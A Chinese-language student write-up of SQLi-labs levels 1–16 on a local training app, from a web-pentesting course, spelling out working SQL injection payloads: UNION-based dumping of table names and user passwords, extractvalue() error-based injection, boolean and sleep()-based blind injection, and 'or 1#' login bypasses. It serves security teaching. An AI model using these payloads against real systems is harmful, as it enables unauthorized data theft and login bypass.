SQLilabs前15关指北

文章来源 | MS08067 Web零基础1期作业

本文作者:tyrant(Web零基础1期学员)

SQLILABS-LESS-1

4c2d6331c9b61be83fab33ee743afd88.png通过文字提示,需要传递一个ID参数。通过get 方式提交后如下图:

8958e1c304328771416b7d27da02d1b2.png1、对id参数进行测试,看看能否发现注入漏洞。127.0.0.1/sqlilabs/Less-1/?id=3'")

bf245dc4f3644d3efe69a6f85e966da8.png有提示说在'")' LIMIT 0,1'附近发生了错误。通过构造的参数可以猜测出:SQL查询语句为 select * from 表 where id = '3'(使用的单引号将字符串封闭起来)。因此可以进行下一步,利用order by 查询该SQL语句共查询了多少字段。2、使用127.0.0.1/sqlilabs/Less-1/?id=3' order by 5 # 或者 127.0.0.1/sqlilabs/Less-1/?id=3' order by 5 --+ 注:#、--+在SQL语句中都是注释的意思。(在URL中的--+在SQL中会变成-- )。看看哪个能够正确执行就用哪个。

d49b7db4257c1337c058518c6927f170.png

c2e92859c8e0ebf54d4116cfc2052805.png通过实验,发现查询了3个字段。3、利用联合查询语句,判断是第几个字段显示在了页面上。注意,这里很明显,只是查询输出1行结果,要让前边的查询为空,后边构造的语句才能正确显示。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, 2, 3 --+

c40684551b0dcd3e32d1c5d078ed2af7.png在页面上,显示了2与3,也就是说,页面上显示了查询语句的第2、 3个字段。后面构造的语句,也要在第2或第3个字段显示。4、利用UNION联合查询分别来查询使用的数据库、表、字段等信息。4.1查询数据库名称。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), 3 --+

57dd5df751b742b3938078f0f6a11084.png查询到当前使用数据库的名称为“security” 4.2利用information_schemas数据库中的tables表中存放着security数据库中表与字段的相关信息,可查询出security下数据表的信息。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), table_name from information_schema.tables where table_schema = 'security' --+

deb5c09bd4d12175d44487852d36b1a4.png出现此页面,说明要查询的字段,字符编码与前边原查询对应字段的字符编码不一致,使用CONVERT(a USING b)函数转化一下。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), convert(table_name USING gbk) from information_schema.tables where table_schema = 'security' --+

c6538ef75310a88479764e105578452b.png虽然显示了正确的查询结果,但是在该数据库中,应该不止这一个表,使用group_concat(a)函数,将所有结果合并成一条记录,输出出来。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), group_concat(convert(table_name USING gbk)) from information_schema.tables where table_schema = 'security' --+

5d26e901c14af87794f0df3c2e9c40e8.png查询到security数据库下,有过个表,分别是:emails,referers,uagents,users 4.3查询security数据库下,emails表下边有哪些字段。同样是利用information_schema数据库下的columns表中的信息进行查询 127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), group_concat(convert(column_name USING gbk)) from information_schema.columns where table_schema = 'security' and table_name = "emails" --+

2bc03388f36b0f2f8e6aca57bb9cf820.png查出在security数据库、emails表下有两个字段,分别是:id,email_id 4.4查询security数据库下,emails表下,email_idz字段的值。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, group_concat(id), group_concat(email_id) from security.emails--+

c478d324ee568e80ad084d493bfa6d49.png

LESS-1通过UNION联合查询的方式注入成功,并获取到了对应的数据。

SQLILABS-LESS-2

3a48cc3fd9bc665d36745fb96b3e6fe7.png前几步方式类似,直接截图。1、127.0.0.1/sqlilabs/Less-2/?id=1'")

52798ba4b320d12c17f09385d38fbcaf.png说明id参数是个数字类型的。2、127.0.0.1/sqlilabs/Less-2/?id=1 order by 3#

5d27eb67664027d67eb624afd6748f79.png说明查询3个字段 3、127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1, 2, 3#

7288e397a0cc64dc778c46d7869c08bf.png4、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1, database(),3 #

87a909925a0d15663d54ce16ba6f55ba.png5、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1, group_concat(convert(table_name USING gbk)),3 from information_schema.tables where table_schema = "security" #

3e09f5b7ff3b922380735eb37a13b33a.png6、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1, 2,group_concat(convert(column_name USING gbk)) from information_schema.columns where table_schema = "security" and table_name = "users"#

b9afaadd9c150d87b9fee9447b7dd881.png7、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1,group_concat(username),group_concat(password) from security.users#

6028ffd84d3422515e04451439153a42.png

LESS-2成功通关,通过UNION联合查询的方式注入成功,并获取到了对应的数据。

LESS-3

与前两关类似,直接上结果。

bae6024ca18d698298f1ba45c7ff4bda.png闭合方式应该是:127.0.0.1/sqlilabs/Less-3/?id=1')--+") union联合查询步骤类似,直接上结果

9cd5c1c49723831dc01fce64f065e411.png

LESS-3成功通关,通过UNION联合查询的方式注入成功,并获取到了对应的数据。

LESS-4

与前两关类似,直接上结果。

1e86a07d29bd2c1719e9a65c09e13f4c.png闭合方式应该是:127.0.0.1/sqlilabs/Less-4/?id=1") --+ union联合查询步骤类似,直接上结果

e1cfa7f3e567eb691c6d22b0fa8f8f43.png

LESS-4成功通关,通过UNION联合查询的方式注入成功,并获取到了对应的数据。

LESS-5 利用报错注入

1、判断是否存在注入。

2b4db8af0c25e43c60ec97a62f1f2112.png说明参数附近存在闭合错误。闭合方式为:127.0.0.1/sqlilabs/Less-5/?id=1'--+

eac58b50413cc9e0865c3ab162230368.png因为页面没有显示有查询数据,考虑用报错注入方式来进行注入测试。2、利用extractvalue()函数进行报错注入 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select database()),"!"))--+

6fda43e62379ae7ecdeab7a197b4bf20.png查询到当前的数据库为“security” 3、查询security数据库下的数据表。127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select group_concat(table_name) from information_schema.tables where table_schema="security"),"!"))--+

b4338d2425c2deac7364b33dc4aacad8.png4、查询security数据库下,emails表下的字段名称 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name = "emails"),"!"))--+

839b3792cbe04b1bee95dd44eaea7e07.png5、查询查询security数据库下,referers表下、各字段的名称 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select group_concat(email_id) from security.emails),"!"))--+

55435904bb65021a8778a4039f76b73b.png由于extractvalue()函数最多显示32位字符,所以利用limit来一条一条显示 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select email_id from security.emails limit 0,1),"!"))--+

dadf445883fbf45923855736261323b4.png

4916f4ab74952445b74e9c3728aab5fd.png127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select concat_ws(",",id,email_id) from security.emails limit 1,1),"!"))--+ 利用concat_ws(",",字段1,字段2)可打印多个字段。

67fe945e744ca3a5854611b80abd6edc.png

LESS-5成功通关,通过报错注入方式注入成功,并获取到了对应的数据。

LESS-6 利用报错注入

闭合方式:127.0.0.1/sqlilabs/Less-6/?id=1"--+
6e9aca0649f0331ed029e0696530bdef.png

LESS-6成功通关,通过报错注入方式注入成功,并获取到了对应的数据。

LESS-7

闭合方式:127.0.0.1/sqlilabs/Less-7/?id=1'))--+
开始考虑用报错注入,但是发现没有XPATH的输出,即没有print_r(mysql_error)。所以此处没法用报错注入,来显示隐私信息

6cf6757142a94e797d5a4759f6210ea3.jpeg根据提示,用into outfile来进行测试。可以将信息输出到指定的目录里边。

90cb7110753c44bd321cb2d0c3d40c0b.jpeg
测试使用布尔盲注方式获得所要查询的数据。
	1、查询数据库的长度。结果查询出长度为8
0a010b9d2af5692ea08dabc51ae475bf.png

LESS-7成功通关。

LESS-8

闭合方式:127.0.0.1/sqlilabs/Less-7/?id=1'--+
因为没有可以显示的数据信息,所以不考虑用联合查询来获取数据库信息,开始考虑用报错注入,但是发现没有XPATH的输出,即没有print_r(mysql_error)。所以此处没法用报错注入,来显示隐私信息

aec7d1c50802269455a07dcd9f26ac70.png测试使用布尔盲注方式获得所要查询的数据。1、查询数据库的长度。结果查询出长度为8

3d9373b2adc7546e9ce25a1d06a971bf.png2、利用burpsuite来跑一下这个数据库的名称。打开代理,然后构造一下语句,通过bp抓包。

ee7993663fe57122f57b0fc1d2a32edf.png 17fadc343698d9d3929bd374ee9918b4.png d6f66736358b64942048e9ab435723ec.png 819a5e8815c0486460af264e64072bba.png fff92ff9b28a74837424b47f077baaae.png

f1eb7dfa4f06e6e3a0db9a77b80c13a6.png通过length的区别,可以看出响应的区别,对正确相应的,摘取出来。通过查询ASCII码,获取数据库的名称为“security”。

dfbaa818cfcf3d202d6227c8b74117a9.png同理,可依次查询出数据表,字段,及响应的数据信息。3、查询emails表下边,email_id字段下,所有值总共的长度,为1577effcc9027c3132f0d31d2e0f8860a9f.png4、利用burpsuite来跑一下这个数据库的名称。打开代理,然后构造一下语句,通过bp抓包。

71895aad3d85db46240ab39084bdfe8e.png可按照顺序,完成字符串的转码。

ddc90f963fa0e19e75e9cdfb66d0c8e2.png

LESS-8成功通关。

LESS-9时间盲注

这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。

9d24cfcc8c7cc03ad9ff71286c970c06.png用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+5f00d9f3fd44d26bd2784c54a06cf5b3.png

可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。

LESS-10时间盲注

这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入
e440d42440ca4605df9fbd9a1d100217.png

LESS-11万能密码

这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''.
因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。
f005d68c75de304da8723d6540fb8e5e.png b67667ad7d5a3acb547a6671bdfba5fa.png 342a16e2266d984e408b93f27180edbc.png

LESS-12

这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关
b3fecd9bc7d6b99d62e3f99cb12898de.png 5fc3a27176c747e33545067bfa4488de.png

LESS-13

这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关
7a5c729c547f07007ca0572e38695460.png a45c3f06e80675186d0ff8c9797f2970.png

LESS-14

这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关
56852dfabc9fc152b51a6967ccde222a.png 3381f2cacb6fa127c71551e4ff040627.png

LESS-15

这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。
2797d5b3eed95ca692dc732c9eb48e44.png

LESS-16

类似15关,猜测语句为1") or 1 #,顺利过关
8247084ebdb4421f04080a4e262c1058.png

想和这位学员一样学有所得吗?

Web渗透工程师零基础就业班

等你加入👇👇👇

—  实验室旗下直播培训课程  —

b138398ce90cb17bc520aaf22213aabb.jpeg

4dc1340a083c8625dbac76bca272c76e.jpeg

de26f5972546d73e890e648fa5d47d75.jpege4feb65a552e57f9997a2ed0b9f54d1f.png

06f2fbcb31d41bf4e13446021be18c25.jpeg

d202554fefb9743575cd286aae752658.jpeg

32686a296d24a092190286d41f0dd2d3.jpeg

fdb7f05fa05f826a1835d30674df207f.jpeg

caec6a48e8934d3be3c249d58396bd3d.jpeg


来和20000+位同学加入MS08067一起学习吧!

2e95acb883ded5cda2ff9408d09764b9.gif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值